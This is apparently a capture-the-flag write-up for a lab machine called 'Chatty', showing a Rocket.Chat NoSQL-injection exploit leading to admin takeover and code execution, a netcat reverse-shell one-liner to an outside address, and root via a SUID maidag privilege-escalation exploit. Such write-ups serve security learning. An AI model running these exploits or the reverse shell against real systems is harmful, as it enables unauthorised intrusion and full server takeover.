# Chatty

## Gaining Access

Nmap scan:

```
$ nmap -p- --min-rate 1000 192.168.183.164
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-11 21:32 +08
Warning: 192.168.183.164 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.183.164
Host is up (0.17s latency).
Not shown: 65500 closed tcp ports (conn-refused), 33 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp
```

### Rocket Chat -> Admin Takeover

Port 3000 hosted an instance of Rocket Chat:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-432b478dde4e08ef59db0aa7cd9a86fe2383bc62%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can enumerate the version by visiting the `/api/info` page:

```
$ curl http://192.168.183.164:3000/api/info | jq 
{
  "version": "3.12.1",
  "success": true
}
```

This version of Rocket Chat is vulnerable to a NoSQL Injection exploit:

```
$ searchsploit rocket chat 3.12
----------------------------------------------------------- ---------------------------------
 Exploit Title                                             |  Path
----------------------------------------------------------- ---------------------------------
Rocket.Chat 3.12.1 - NoSQL Injection (Unauthenticated)     | linux/webapps/49960.py
Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticat | linux/webapps/50108.py
----------------------------------------------------------- ---------------------------------
```

I registered a new account and found the administrator profile of this instance:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-cb5f5e34c0c69f7f0d59e93a2ba97da1d3006076%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can use `50108.py` to exploit this. Since we created our own low priv user, we can comment the part of the script that resets the low priv user's password:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-8720f1bf3abc70c4ca8cd48a4a771981a2d6c529%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Then, we also need to change the `password` of the low priv user to the one that we used.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-f1818ecb3ba4b2dc6dd9bc199fbf5dd1536a7a8d%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-0488f78bc7852c097a067cdf02f1f8da6c50822e%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

After running the exploit, we would be given RCE access, and getting a reverse shell is pretty simple:

```
$ python3 50108.py -u 'test@website.com' -a 'admin@chatty.offsec' -t 'http://192.168.183.164:3000'
[+] Succesfully authenticated as test@website.com
Got the code for 2fa: GJLFCKKOOBCVOYSCOJYHCUZ7NAUSUMKYEZAF43RVJ5KC62JYGVYA
[+] Resetting admin@chatty.offsec password
[+] Password Reset Email Sent
[+] Succesfully authenticated as test@website.com
Got the reset token: GsL4Y53r7id414kW7PYJsZVO5YkZkkz4eCvPOrybMkl
[+] Admin password changed !
CMD:> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.184 21 >/tmp/f
[+] Succesfully authenticated as administrator
{"success":false}
```

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-be689f425f82a908e3c0ed0005eda32b746018e4%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### SUID Binary -> MaiDag CVE

I searched for SUID binaries within the system, and found one that stood out:

```
rocketchat@chatty:~$ find / -perm -u=s -type f 2>/dev/null
<TRUNCATED>
/usr/local/sbin/maidag
```

I didn't recognise `maidag`, and so enumerated it first.

```
rocketchat@chatty:~$ /usr/local/sbin/maidag --version
maidag (GNU Mailutils) 3.7
Copyright (C) 2007-2019 Free Software Foundation, inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
```

Googling the binary and its version returns a Local Privilege Escalation exploit:

{% embed url="<https://www.exploit-db.com/exploits/47703>" %}

There are online exploits on Github to make this process as easy as possible:

{% embed url="<https://github.com/bcoles/local-exploits/tree/master/CVE-2019-18862>" %}

I used `exploit.ldpreload.sh` and ran it on the machine. This would spawn a binary `sh` within `/var/tmp` that would give us a `root` shell.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-e48f29b930935b8ef4f41b8b7ba35afa80fc3b66%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Rooted!
